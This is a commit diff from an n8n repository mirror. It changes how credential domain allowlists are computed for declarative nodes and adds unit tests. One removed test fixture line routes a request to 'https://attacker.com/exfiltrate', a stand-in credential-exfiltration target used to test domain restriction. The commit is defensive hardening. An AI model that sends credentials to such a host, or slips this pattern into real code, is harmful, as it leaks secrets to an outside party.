mirror of
https://github.com/n8n-io/n8n.git
synced 2026-08-28 17:22:01 +08:00
fix(core): Allow a domain-restricted credential to work in its own node (#37200)
This commit is contained in:
committed by
GitHub
parent
771a5c43f9
commit
720f397947
@@ -2531,11 +2531,16 @@ describe('RoutingNode', () => {
|
||||
position: [0, 0],
|
||||
};
|
||||
|
||||
const buildNodeType = (): INodeType => {
|
||||
// `null` means the node declares no base URL; a default parameter cannot express that,
|
||||
// since an explicit `undefined` triggers the default.
|
||||
const buildNodeType = (
|
||||
baseURL: string | null = 'https://api.example.com',
|
||||
routedUrl = 'https://other-host.example.com/path',
|
||||
): INodeType => {
|
||||
const routingNodeType = nodeTypes.getByNameAndVersion(baseNode.type);
|
||||
routingNodeType.description = {
|
||||
credentials: [{ name: 'testCredential', required: true }],
|
||||
requestDefaults: { baseURL: 'https://api.example.com' },
|
||||
requestDefaults: { baseURL: baseURL ?? undefined },
|
||||
properties: [
|
||||
{
|
||||
displayName: 'Endpoint',
|
||||
@@ -2544,7 +2549,7 @@ describe('RoutingNode', () => {
|
||||
default: '',
|
||||
routing: {
|
||||
request: {
|
||||
url: 'https://attacker.com/exfiltrate',
|
||||
url: routedUrl,
|
||||
},
|
||||
},
|
||||
},
|
||||
@@ -2553,9 +2558,12 @@ describe('RoutingNode', () => {
|
||||
return routingNodeType;
|
||||
};
|
||||
|
||||
const runWithCredential = async (data: Record<string, unknown>) => {
|
||||
const runWithCredential = async (
|
||||
data: Record<string, unknown>,
|
||||
options: { baseURL?: string | null; routedUrl?: string } = {},
|
||||
) => {
|
||||
const credentialData = data as unknown as ICredentialDataDecryptedObject;
|
||||
const nodeType = buildNodeType();
|
||||
const nodeType = buildNodeType(options.baseURL, options.routedUrl);
|
||||
const workflow = new Workflow({
|
||||
nodes: [baseNode],
|
||||
connections: {},
|
||||
@@ -2628,32 +2636,69 @@ describe('RoutingNode', () => {
|
||||
expect(requestOptions.allowedDomains).toBeUndefined();
|
||||
});
|
||||
|
||||
test("throws when mode is 'none'", async () => {
|
||||
await expect(
|
||||
runWithCredential({
|
||||
apiKey: 'testApiKey',
|
||||
allowedHttpRequestDomains: 'none',
|
||||
}),
|
||||
).rejects.toThrow('This credential is configured to prevent use within an HTTP Request node');
|
||||
test("adds the node's own host when mode is 'domains' and the list omits it", async () => {
|
||||
const result = await runWithCredential({
|
||||
apiKey: 'testApiKey',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'other.example.com',
|
||||
});
|
||||
|
||||
const requestOptions = (result?.[0]?.[0]?.json as { requestOptions: IHttpRequestOptions })
|
||||
.requestOptions;
|
||||
expect(requestOptions.allowedDomains).toBe('api.example.com, other.example.com');
|
||||
});
|
||||
|
||||
test("throws when mode is 'domains' but the list is empty", async () => {
|
||||
await expect(
|
||||
runWithCredential({
|
||||
test.each([
|
||||
['the node declares no base URL', null],
|
||||
['the base URL resolves to an empty string', ''],
|
||||
])('does not widen the allowlist from the routed URL when %s', async (_label, baseURL) => {
|
||||
// The routed URL can interpolate a node parameter, so its host is the user's choice.
|
||||
const result = await runWithCredential(
|
||||
{
|
||||
apiKey: 'testApiKey',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: ' ',
|
||||
}),
|
||||
).rejects.toThrow('No allowed domains specified');
|
||||
allowedDomains: 'other.example.com',
|
||||
},
|
||||
{ baseURL, routedUrl: 'https://user-chosen.example.net/path' },
|
||||
);
|
||||
|
||||
const requestOptions = (result?.[0]?.[0]?.json as { requestOptions: IHttpRequestOptions })
|
||||
.requestOptions;
|
||||
expect(requestOptions.allowedDomains).toBe('other.example.com');
|
||||
});
|
||||
|
||||
test("throws when mode is 'domains' but the list is missing", async () => {
|
||||
await expect(
|
||||
runWithCredential({
|
||||
apiKey: 'testApiKey',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
}),
|
||||
).rejects.toThrow('No allowed domains specified');
|
||||
test("does not block a declarative node when mode is 'none'", async () => {
|
||||
const result = await runWithCredential({
|
||||
apiKey: 'testApiKey',
|
||||
allowedHttpRequestDomains: 'none',
|
||||
});
|
||||
|
||||
const requestOptions = (result?.[0]?.[0]?.json as { requestOptions: IHttpRequestOptions })
|
||||
.requestOptions;
|
||||
expect(requestOptions.allowedDomains).toBeUndefined();
|
||||
});
|
||||
|
||||
test("falls back to the node's own host when the 'domains' list is empty", async () => {
|
||||
const result = await runWithCredential({
|
||||
apiKey: 'testApiKey',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: ' ',
|
||||
});
|
||||
|
||||
const requestOptions = (result?.[0]?.[0]?.json as { requestOptions: IHttpRequestOptions })
|
||||
.requestOptions;
|
||||
expect(requestOptions.allowedDomains).toBe('api.example.com');
|
||||
});
|
||||
|
||||
test("falls back to the node's own host when the 'domains' list is missing", async () => {
|
||||
const result = await runWithCredential({
|
||||
apiKey: 'testApiKey',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
});
|
||||
|
||||
const requestOptions = (result?.[0]?.[0]?.json as { requestOptions: IHttpRequestOptions })
|
||||
.requestOptions;
|
||||
expect(requestOptions.allowedDomains).toBe('api.example.com');
|
||||
});
|
||||
|
||||
test('does not set allowedDomains when restriction field is absent', async () => {
|
||||
|
||||
@@ -227,8 +227,16 @@ export class RoutingNode {
|
||||
itemContext[itemIndex].requestData.options.timeout = 300_000;
|
||||
}
|
||||
|
||||
// A declarative node's URL comes from its own routing, not from the user. Only
|
||||
// `baseURL` is safe to widen the allowlist with: a per-operation `url` can
|
||||
// interpolate a node parameter, and that host is the user's choice, not the node's.
|
||||
const allowedDomains = credentials
|
||||
? getCredentialAllowedDomains({ node, credentialData: credentials })
|
||||
? getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: credentials,
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: itemContext[itemIndex].requestData.options.baseURL,
|
||||
})
|
||||
: undefined;
|
||||
if (allowedDomains) {
|
||||
itemContext[itemIndex].requestData.options.allowedDomains = allowedDomains;
|
||||
|
||||
@@ -105,14 +105,7 @@ export function isDomainAllowed(options: { url: string; allowedDomains: string }
|
||||
return true;
|
||||
}
|
||||
|
||||
let url: URL;
|
||||
try {
|
||||
url = new URL(urlString);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
|
||||
const hostname = url.hostname.toLowerCase().replace(/\.$/, '');
|
||||
const hostname = toHostname(urlString);
|
||||
if (!hostname) return false;
|
||||
|
||||
const allowedDomainsList = allowedDomains
|
||||
@@ -148,6 +141,16 @@ function toDisplayHost(url: string): string {
|
||||
}
|
||||
}
|
||||
|
||||
/** Hostname of an absolute URL, normalised for matching. `undefined` when there is none. */
|
||||
function toHostname(url: string | undefined): string | undefined {
|
||||
if (!url) return undefined;
|
||||
try {
|
||||
return new URL(url).hostname.toLowerCase().replace(/\.$/, '') || undefined;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
/** Throws `UserError` when `node` is omitted, so callers without an `INode` (axios helper) get a wrappable error. */
|
||||
export function assertUrlAllowed(options: {
|
||||
url: string;
|
||||
@@ -162,31 +165,61 @@ export function assertUrlAllowed(options: {
|
||||
throw node ? new NodeOperationError(node, message) : new UserError(message);
|
||||
}
|
||||
|
||||
/** Returns the allowlist for forwarding to per-hop redirect checks; `undefined` means allow-all. */
|
||||
/**
|
||||
* Returns the allowlist for forwarding to per-hop redirect checks; `undefined` means allow-all.
|
||||
*
|
||||
* `'none'` blocks the caller outright, unless `credentialOwnedSurface` says the URL comes from
|
||||
* a node definition rather than from the user — set that only for such callers, never for a
|
||||
* URL that arrives as request input.
|
||||
*
|
||||
* On such a surface, pass `nodeEndpointUrl` and its host joins the `'domains'` allowlist, so a
|
||||
* list the user wrote with the HTTP Request node in mind does not stop the credential working in
|
||||
* the node it belongs to. A node that decides its endpoint later — in `preSend`, or in the
|
||||
* credential's own `authenticate` — has no host to offer here and stays subject to the list.
|
||||
*/
|
||||
export function getCredentialAllowedDomains(options: {
|
||||
node: INode;
|
||||
credentialData: ICredentialDataDecryptedObject;
|
||||
surface?: string;
|
||||
credentialOwnedSurface?: boolean;
|
||||
nodeEndpointUrl?: string;
|
||||
}): string | undefined {
|
||||
const { node, credentialData, surface = DEFAULT_SURFACE } = options;
|
||||
const {
|
||||
node,
|
||||
credentialData,
|
||||
surface = DEFAULT_SURFACE,
|
||||
credentialOwnedSurface,
|
||||
nodeEndpointUrl,
|
||||
} = options;
|
||||
const mode = readMode(credentialData);
|
||||
// Guarded on the flag: a surface where the user picks the URL must never widen its allowlist.
|
||||
const endpointHost = credentialOwnedSurface ? toHostname(nodeEndpointUrl) : undefined;
|
||||
// A comma is a legal host character and would split into extra allowlist entries.
|
||||
const ownHost = endpointHost?.includes(',') ? undefined : endpointHost;
|
||||
|
||||
if (mode === 'none') {
|
||||
throw new NodeOperationError(
|
||||
node,
|
||||
`This credential is configured to prevent use within an ${surface} node`,
|
||||
);
|
||||
if (!credentialOwnedSurface) {
|
||||
throw new NodeOperationError(
|
||||
node,
|
||||
`This credential is configured to prevent use within an ${surface} node`,
|
||||
);
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
if (mode === 'domains') {
|
||||
const allowedDomains = readAllowedDomainsField(credentialData);
|
||||
if (!allowedDomains) {
|
||||
if (ownHost) return ownHost;
|
||||
throw new NodeOperationError(
|
||||
node,
|
||||
'No allowed domains specified. Configure allowed domains or change restriction setting.',
|
||||
);
|
||||
}
|
||||
return allowedDomains;
|
||||
if (!ownHost || isDomainAllowed({ url: `https://${ownHost}`, allowedDomains })) {
|
||||
return allowedDomains;
|
||||
}
|
||||
return `${ownHost}, ${allowedDomains}`;
|
||||
}
|
||||
|
||||
return undefined;
|
||||
|
||||
@@ -278,6 +278,227 @@ describe('getCredentialAllowedDomains', () => {
|
||||
}),
|
||||
).toThrow('No allowed domains specified');
|
||||
});
|
||||
|
||||
describe('credentialOwnedSurface', () => {
|
||||
const noneCredential = { allowedHttpRequestDomains: 'none' };
|
||||
|
||||
it("adds the node's own host to a 'domains' allowlist that omits it", () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: {
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'other.example.com',
|
||||
},
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: 'https://api.example.com/v2',
|
||||
}),
|
||||
).toBe('api.example.com, other.example.com');
|
||||
});
|
||||
|
||||
it("does not duplicate the node's own host when the allowlist already covers it", () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: {
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'other.example.com, API.Example.com',
|
||||
},
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: 'https://api.example.com/v2',
|
||||
}),
|
||||
).toBe('other.example.com, API.Example.com');
|
||||
});
|
||||
|
||||
it('strips the port from the node host it adds', () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: {
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'other.example.com',
|
||||
},
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: 'https://api.example.com:8443/v2',
|
||||
}),
|
||||
).toBe('api.example.com, other.example.com');
|
||||
});
|
||||
|
||||
it('does not add a host containing a comma, which would split the list', () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: {
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'other.example.com',
|
||||
},
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: 'https://one,two.example.com/v2',
|
||||
}),
|
||||
).toBe('other.example.com');
|
||||
});
|
||||
|
||||
it('treats a wildcard entry as already covering the node host', () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: {
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: '*.example.com',
|
||||
},
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: 'https://api.example.com/v2',
|
||||
}),
|
||||
).toBe('*.example.com');
|
||||
});
|
||||
|
||||
it("falls back to the node's own host when the 'domains' list is empty", () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: { allowedHttpRequestDomains: 'domains', allowedDomains: ' ' },
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: 'https://api.example.com/v2',
|
||||
}),
|
||||
).toBe('api.example.com');
|
||||
});
|
||||
|
||||
it("still rejects an empty 'domains' list when there is no node host to fall back on", () => {
|
||||
expect(() =>
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: { allowedHttpRequestDomains: 'domains', allowedDomains: '' },
|
||||
credentialOwnedSurface: true,
|
||||
}),
|
||||
).toThrow('No allowed domains specified');
|
||||
});
|
||||
|
||||
it.each([
|
||||
['explicitly false', false],
|
||||
['undefined', undefined],
|
||||
])(
|
||||
'never widens the allowlist when credentialOwnedSurface is %s',
|
||||
(_label, credentialOwnedSurface) => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: {
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'other.example.com',
|
||||
},
|
||||
credentialOwnedSurface,
|
||||
nodeEndpointUrl: 'https://api.example.com/v2',
|
||||
}),
|
||||
).toBe('other.example.com');
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
['an unresolved expression', '={{$credentials.baseUrl}}'],
|
||||
['a relative path', '/api/v2'],
|
||||
['a scheme with no host', 'https://'],
|
||||
['an empty string', ''],
|
||||
['undefined', undefined],
|
||||
])('widens nothing when the node endpoint is %s', (_label, nodeEndpointUrl) => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: {
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'other.example.com',
|
||||
},
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl,
|
||||
}),
|
||||
).toBe('other.example.com');
|
||||
});
|
||||
|
||||
it("ignores nodeEndpointUrl for 'none'", () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: { allowedHttpRequestDomains: 'none' },
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: 'https://api.example.com/v2',
|
||||
}),
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it("ignores nodeEndpointUrl for 'all'", () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: { allowedHttpRequestDomains: 'all' },
|
||||
credentialOwnedSurface: true,
|
||||
nodeEndpointUrl: 'https://api.example.com/v2',
|
||||
}),
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it("leaves 'none' unrestricted for a credential-owned surface", () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: noneCredential,
|
||||
credentialOwnedSurface: true,
|
||||
}),
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it.each([
|
||||
['explicitly false', false],
|
||||
['undefined', undefined],
|
||||
])(
|
||||
"still blocks 'none' when credentialOwnedSurface is %s",
|
||||
(_label, credentialOwnedSurface) => {
|
||||
expect(() =>
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: noneCredential,
|
||||
credentialOwnedSurface,
|
||||
}),
|
||||
).toThrow('This credential is configured to prevent use within an HTTP Request node');
|
||||
},
|
||||
);
|
||||
|
||||
it("still blocks 'none' when the flag is omitted entirely", () => {
|
||||
expect(() => getCredentialAllowedDomains({ node, credentialData: noneCredential })).toThrow(
|
||||
'This credential is configured to prevent use within an HTTP Request node',
|
||||
);
|
||||
});
|
||||
|
||||
it("still enforces the 'domains' allowlist on a credential-owned surface", () => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: {
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api.example.com',
|
||||
},
|
||||
credentialOwnedSurface: true,
|
||||
}),
|
||||
).toBe('api.example.com');
|
||||
});
|
||||
|
||||
it("still rejects an empty 'domains' allowlist on a credential-owned surface", () => {
|
||||
expect(() =>
|
||||
getCredentialAllowedDomains({
|
||||
node,
|
||||
credentialData: { allowedHttpRequestDomains: 'domains', allowedDomains: ' ' },
|
||||
credentialOwnedSurface: true,
|
||||
}),
|
||||
).toThrow('No allowed domains specified');
|
||||
});
|
||||
|
||||
it.each([
|
||||
["'all'", { allowedHttpRequestDomains: 'all' }],
|
||||
['an absent mode', {}],
|
||||
])('returns undefined for %s on a credential-owned surface', (_label, credentialData) => {
|
||||
expect(
|
||||
getCredentialAllowedDomains({ node, credentialData, credentialOwnedSurface: true }),
|
||||
).toBeUndefined();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('assertUrlAllowed', () => {
|
||||
|
||||
Reference in New Issue
Block a user